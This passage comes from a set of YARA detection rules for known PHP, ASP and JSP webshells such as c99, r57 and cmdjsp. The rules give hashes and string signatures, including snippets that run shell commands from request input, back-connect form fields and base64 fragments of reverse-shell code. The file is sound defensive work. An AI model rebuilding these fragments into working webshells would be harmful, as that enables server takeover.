		$s2 = "~ Shell I"
		$s3 = "www.rootshell-team.info"
		$s4 = "setcookie($cookiename, $_POST['pass'], time()+3600);"

	condition:
		1 of them
}

rule backdoorfr_php
{
	meta:
		description = "Semi-Auto-generated  - file backdoorfr.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "91e4afc7444ed258640e85bcaf0fecfc"
		id = "5ba2b617-a873-5e80-9cfc-c61cc8d605f3"

	strings:
		$s1 = "www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tan"
		$s2 = "print(\"<br>Provenance du mail : <input type=\\\"text\\\" name=\\\"provenanc"

	condition:
		1 of them
}

rule aspydrv_asp
{
	meta:
		description = "Semi-Auto-generated  - file aspydrv.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "1c01f8a88baee39aa1cebec644bbcb99"
		score = 60
		id = "4420d13e-7015-5083-ba08-b41bf28b00c2"

	strings:
		$s0 = "If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))"
		$s1 = "password"
		$s2 = "session(\"shagman\")="

	condition:
		2 of them
}

rule cmdjsp_jsp
{
	meta:
		description = "Semi-Auto-generated  - file cmdjsp.jsp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "b815611cc39f17f05a73444d699341d4"
		id = "048478a8-9622-54c7-80ed-e4e223d14500"

	strings:
		$s0 = "// note that linux = cmd and windows = \"cmd.exe /c + cmd\" " fullword
		$s1 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
		$s2 = "cmdjsp.jsp"
		$s3 = "michaeldaw.org" fullword

	condition:
		2 of them
}

rule h4ntu_shell__powered_by_tsoi_
{
	meta:
		description = "Semi-Auto-generated  - file h4ntu shell [powered by tsoi].txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "06ed0b2398f8096f1bebf092d0526137"
		id = "186358e6-88a3-5fad-b1ba-a49b2a5dea1c"

	strings:
		$s0 = "h4ntu shell"
		$s1 = "system(\"$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp\");"

	condition:
		1 of them
}

rule Ajan_asp
{
	meta:
		description = "Semi-Auto-generated  - file Ajan.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "b6f468252407efc2318639da22b08af0"
		id = "6040fd88-b992-5110-8b37-7711ace30b1a"

	strings:
		$s1 = "c:\\downloaded.zip"
		$s2 = "Set entrika = entrika.CreateTextFile(\"c:\\net.vbs\", True)" fullword
		$s3 = "http://www35.websamba.com/cybervurgun/"

	condition:
		1 of them
}

rule PHANTASMA_php
{
	meta:
		description = "Semi-Auto-generated  - file PHANTASMA.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "52779a27fa377ae404761a7ce76a5da7"
		id = "21ff4cee-9cdc-57d1-9c43-e033fdb47de0"

	strings:
		$s0 = ">[*] Safemode Mode Run</DIV>"
		$s1 = "$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"
		$s2 = "[*] Spawning Shell"
		$s3 = "Cha0s"

	condition:
		2 of them
}

rule MySQL_Web_Interface_Version_0_8_php
{
	meta:
		description = "Semi-Auto-generated  - file MySQL Web Interface Version 0.8.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "36d4f34d0a22080f47bb1cb94107c60f"
		id = "90616d2d-082b-5983-a859-62d1c5b8066e"

	strings:
		$s0 = "SooMin Kim"
		$s1 = "http://popeye.snu.ac.kr/~smkim/mysql"
		$s2 = "href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename"
		$s3 = "<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofi"

	condition:
		2 of them
}

rule simple_cmd_html
{
	meta:
		description = "Semi-Auto-generated  - file simple_cmd.html.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "c6381412df74dbf3bcd5a2b31522b544"
		id = "30990574-02a0-5eed-8317-847b6be13300"

	strings:
		$s1 = "<title>G-Security Webshell</title>" fullword
		$s2 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
		$s3 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
		$s4 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword

	condition:
		all of them
}

rule _1_c2007_php_php_c100_php
{
	meta:
		description = "Semi-Auto-generated  - from files 1.txt, c2007.php.php.txt, c100.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "44542e5c3e9790815c49d5f9beffbbf2"
		hash1 = "d089e7168373a0634e1ac18c0ee00085"
		hash2 = "38fd7e45f9c11a37463c3ded1c76af4c"
		id = "00ada6a4-a32a-5184-867d-e10a8c95c41c"

	strings:
		$s0 = "echo \"<b>Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\""
		$s3 = "echo \"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"

	condition:
		1 of them
}

rule _nst_php_php_img_php_php_nstview_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files nst.php.php.txt, img.php.php.txt, nstview.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
		hash1 = "17a07bb84e137b8aa60f87cd6bfab748"
		hash2 = "4745d510fed4378e4b1730f56f25e569"
		id = "238242f5-4e57-5edb-8806-ea5e06f1f637"

	strings:
		$s0 = "<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><i"
		$s1 = "$perl_proxy_scp = \"IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4v"
		$s2 = "<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input"

	condition:
		1 of them
}

rule _network_php_php_xinfo_php_php_nfm_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files network.php.php.txt, xinfo.php.php.txt, nfm.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "acdbba993a5a4186fd864c5e4ea0ba4f"
		hash1 = "2601b6fc1579f263d2f3960ce775df70"
		hash2 = "401fbae5f10283051c39e640b77e4c26"
		id = "4fd11db6-902d-5f1a-96c5-9dfcccce7488"

	strings:
		$s0 = ".textbox { background: White; border: 1px #000000 solid; color: #000099; font-fa"
		$s2 = "<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''"

	condition:
		all of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "09609851caa129e40b0d56e90dfc476c"
		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"

	strings:
		$s2 = "echo \"<hr size=\\\"1\\\" noshade><b>Done!</b><br>Total time (secs.): \".$ft"
		$s3 = "$fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r"

	condition:
		1 of them
}

rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "911195a9b7c010f61b66439d9048f400"
		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
		hash3 = "8023394542cddf8aee5dec6072ed02b5"
		hash4 = "eed14de3907c9aa2550d95550d1a2d5f"
		hash5 = "817671e1bdc85e04cc3440bbd9288800"
		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"

	strings:
		$s2 = "'eng_text71'=>\"Second commands param is:\\r\\n- for CHOWN - name of new owner o"
		$s4 = "if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult"

	condition:
		1 of them
}

rule _c99shell_v1_0_php_php_c99php_SsEs_php_php_ctt_sh_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, ctt_sh.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
		hash3 = "671cad517edd254352fe7e0c7c981c39"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\""
		$s2 = "\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\""
		$s4 = "\"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\""

	condition:
		2 of them
}

rule _r577_php_php_spy_php_php_s_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files r577.php.php.txt, spy.php.php.txt, s.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "eed14de3907c9aa2550d95550d1a2d5f"
		hash2 = "817671e1bdc85e04cc3440bbd9288800"
		id = "d287136c-534b-51a4-88fc-40ef9f22d910"

	strings:
		$s2 = "echo $te.\"<div align=center><textarea cols=35 name=db_query>\".(!empty($_POST['"
		$s3 = "echo sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db>"

	condition:
		1 of them
}

rule webshell_c99_generic
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash5 = "09609851caa129e40b0d56e90dfc476c"
		hash6 = "671cad517edd254352fe7e0c7c981c39"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "  if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\""
		$s1 = "  if (file_exists($mkfile)) {echo \"<b>Make File \\\"\".htmlspecialchars($mkfile"
		$s2 = "  echo \"<center><b>MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_pr"
		$s3 = "  elseif (!fopen($mkfile,\"w\")) {echo \"<b>Make File \\\"\".htmlspecialchars($m"

	condition:
		all of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash5 = "09609851caa129e40b0d56e90dfc476c"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "$sess_data[\"cut\"] = array(); c99_s"
		$s3 = "if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl))"

	condition:
		1 of them
}

rule _w_php_php_wacking_php_php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
		hash2 = "09609851caa129e40b0d56e90dfc476c"
		id = "c01ad0e5-1aff-5128-9d0c-5d0967532a4b"

	strings:
		$s0 = "\"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
		$s2 = "c99sh_sqlquery"

	condition:
		1 of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
		hash4 = "09609851caa129e40b0d56e90dfc476c"
		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"

	strings:
		$s0 = "else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPA"
		$s3 = "else {echo \"<b>File \\\"\".$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspec"

	condition:
		1 of them
}

rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_spy_php_php_s_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "911195a9b7c010f61b66439d9048f400"
		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
		hash4 = "817671e1bdc85e04cc3440bbd9288800"
		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"

	strings:
		$s0 = "echo sr(15,\"<b>\".$lang[$language.'_text"
		$s1 = ".$arrow.\"</b>\",in('text','"

	condition:
		2 of them
}

rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "911195a9b7c010f61b66439d9048f400"
		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"

	strings:
		$s0 = "'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash'," fullword
		$s1 = "$name='ec371748dc2da624b35a4f8f685dd122'"
		$s2 = "rst.void.ru"

	condition:
		3 of them
}

rule _r577_php_php_r57_Shell_php_php_spy_php_php_s_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "8023394542cddf8aee5dec6072ed02b5"
		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
		hash3 = "817671e1bdc85e04cc3440bbd9288800"
		id = "7a31b923-15e5-5af4-9ad0-8d261fedf7c4"

	strings:
		$s0 = "echo ws(2).$lb.\" <a"
		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']"
		$s3 = "if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?(\"dir\"):(\"l"

	condition:
		2 of them
}

rule _wacking_php_php_1_SpecialShell_99_php_php_c100_php
{
	meta:
		description = "Semi-Auto-generated  - from files wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt, c100.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "9c5bb5e3a46ec28039e8986324e42792"
		hash1 = "44542e5c3e9790815c49d5f9beffbbf2"
		hash2 = "09609851caa129e40b0d56e90dfc476c"
		hash3 = "38fd7e45f9c11a37463c3ded1c76af4c"
		id = "3dac5550-598a-5a0f-95c3-2e0162a686ee"

	strings:
		$s0 = "if(eregi(\"./shbd $por\",$scan))"
		$s1 = "$_POST['backconnectip']"
		$s2 = "$_POST['backcconnmsg']"

	condition:
		1 of them
}

rule _r577_php_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
		hash2 = "8023394542cddf8aee5dec6072ed02b5"
		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
		hash4 = "817671e1bdc85e04cc3440bbd9288800"
		id = "093892f6-ff53-5bd1-b7b2-fea21a9258aa"

	strings:
		$s1 = "if(rmdir($_POST['mk_name']))"
		$s2 = "$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td>"
		$s3 = "if(unlink($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cell"

	condition:
		2 of them
}

rule _w_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
		hash3 = "09609851caa129e40b0d56e90dfc476c"
		id = "81480945-b684-50b6-9431-4ab7a786b214"

	strings:
		$s0 = "\"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi"
		$s1 = "echo \"<b>Execute file:</b><form action=\\\"\".$surl.\"\\\" method=POST><inpu"
		$s2 = "\"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd"

	condition:
		1 of them
}

rule multiple_php_webshells
{
	meta:
		description = "Semi-Auto-generated  - from files multiple_php_webshells"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
		hash1 = "911195a9b7c010f61b66439d9048f400"
		hash2 = "be0f67f3e995517d18859ed57b4b4389"
		hash3 = "eddf7a8fde1e50a7f2a817ef7cece24f"
		hash4 = "8023394542cddf8aee5dec6072ed02b5"
		hash5 = "eed14de3907c9aa2550d95550d1a2d5f"
		hash6 = "817671e1bdc85e04cc3440bbd9288800"
		hash7 = "7101fe72421402029e2629f3aaed6de7"
		hash8 = "f618f41f7ebeb5e5076986a66593afd1"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
		$s2 = "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0"
		$s4 = "A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg"

	condition:
		2 of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"

	strings:
		$s0 = "<b>Dumped! Dump has been writed to "
		$s1 = "if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"<TABLE st"
		$s2 = "<input type=submit name=actarcbuff value=\\\"Pack buffer to archive"

	condition:
		1 of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "@ini_set(\"highlight" fullword
		$s1 = "echo \"<b>Result of execution this PHP-code</b>:<br>\";" fullword
		$s2 = "{$row[] = \"<b>Owner/Group</b>\";}" fullword

	condition:
		2 of them
}

rule _GFS_web_shell_ver_3_1_7___PRiV8_php_nshell_php_php_gfs_sh_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files GFS web-shell ver 3.1.7 - PRiV8.php.txt, nshell.php.php.txt, gfs_sh.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "be0f67f3e995517d18859ed57b4b4389"
		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
		hash2 = "f618f41f7ebeb5e5076986a66593afd1"
		id = "4d1dd87b-1ffd-564d-9411-c5d2fc01ae0f"

	strings:
		$s2 = "echo $uname.\"</font><br><b>\";" fullword
		$s3 = "while(!feof($f)) { $res.=fread($f,1024); }" fullword
		$s4 = "echo \"user=\".@get_current_user().\" uid=\".@getmyuid().\" gid=\".@getmygid()"

	condition:
		2 of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash4 = "09609851caa129e40b0d56e90dfc476c"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "c99ftpbrutecheck"
		$s1 = "$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);" fullword
		$s2 = "$fqb_lenght = $nixpwdperpage;" fullword
		$s3 = "$sock = @ftp_connect($host,$port,$timeout);" fullword

	condition:
		2 of them
}

rule _w_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
		hash2 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash3 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash4 = "09609851caa129e40b0d56e90dfc476c"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "$sqlquicklaunch[] = array(\""
		$s1 = "else {echo \"<center><b>File does not exists (\".htmlspecialchars($d.$f).\")!<"

	condition:
		all of them
}

rule _antichat_php_php_Fatalshell_php_php_a_gedit_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files antichat.php.php.txt, Fatalshell.php.php.txt, a_gedit.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "128e90b5e2df97e21e96d8e268cde7e3"
		hash1 = "b15583f4eaad10a25ef53ab451a4a26d"
		hash2 = "ab9c6b24ca15f4a1b7086cad78ff0f78"
		id = "6bf5640f-0773-5d93-8d27-0844062017c7"

	strings:
		$s0 = "if(@$_POST['save'])writef($file,$_POST['data']);" fullword
		$s1 = "if($action==\"phpeval\"){" fullword
		$s2 = "$uploadfile = $dirupload.\"/\".$_POST['filename'];" fullword
		$s3 = "$dir=getcwd().\"/\";" fullword

	condition:
		2 of them
}

rule _c99shell_v1_0_php_php_c99php_SsEs_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s3 = "if (!empty($delerr)) {echo \"<b>Deleting with errors:</b><br>\".$delerr;}" fullword

	condition:
		1 of them
}

rule _Crystal_php_nshell_php_php_load_shell_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files Crystal.php.txt, nshell.php.php.txt, load_shell.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "fdbf54d5bf3264eb1c4bff1fac548879"
		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
		hash2 = "0c5d227f4aa76785e4760cdcff78a661"
		id = "a92134cd-7f10-589f-bcda-508bc7a20efe"

	strings:
		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
		$s1 = "$dires = $dires . $directory;" fullword
		$s4 = "$arr = array_merge($arr, glob(\"*\"));" fullword

	condition:
		2 of them
}

rule _nst_php_php_cybershell_php_php_img_php_php_nstview_php_php
{
	meta:
		description = "Semi-Auto-generated  - from files nst.php.php.txt, cybershell.php.php.txt, img.php.php.txt, nstview.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
		hash1 = "ef8828e0bc0641a655de3932199c0527"
		hash2 = "17a07bb84e137b8aa60f87cd6bfab748"
		hash3 = "4745d510fed4378e4b1730f56f25e569"
		id = "cc4dc0e9-dbb1-560b-ae36-23d3e16a407f"

	strings:
		$s0 = "@$rto=$_POST['rto'];" fullword
		$s2 = "SCROLLBAR-TRACK-COLOR: #91AAFF" fullword
		$s3 = "$to1=str_replace(\"//\",\"/\",$to1);" fullword

	condition:
		2 of them
}

rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_dC3_Security_Crew_Shell_PRiV_php_SpecialShell_99_php_php
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "433706fdc539238803fd47c4394b5109"
		hash4 = "09609851caa129e40b0d56e90dfc476c"
		id = "d22c4cc3-842b-5a24-bf4b-a8024b447b9e"

	strings:
		$s0 = " if ($mode & 0x200) {$world[\"execute\"] = ($world[\"execute\"] == \"x\")?\"t\":"
		$s1 = " $group[\"execute\"] = ($mode & 00010)?\"x\":\"-\";" fullword

	condition:
		all of them
}

rule _c99shell_v1_0_php_php_c99php_1_c2007_php_php_c100_php
{
	meta:
		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, 1.txt, c2007.php.php.txt, c100.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash2 = "44542e5c3e9790815c49d5f9beffbbf2"
		hash3 = "d089e7168373a0634e1ac18c0ee00085"
		hash4 = "38fd7e45f9c11a37463c3ded1c76af4c"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "$result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); " fullword

	condition:
		all of them
}

rule multiple_php_webshells_2
{
	meta:
		description = "Semi-Auto-generated "
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		super_rule = 1
		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
		hash1 = "3ca5886cd54d495dc95793579611f59a"
		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
		hash5 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
		hash6 = "09609851caa129e40b0d56e90dfc476c"
		hash7 = "671cad517edd254352fe7e0c7c981c39"
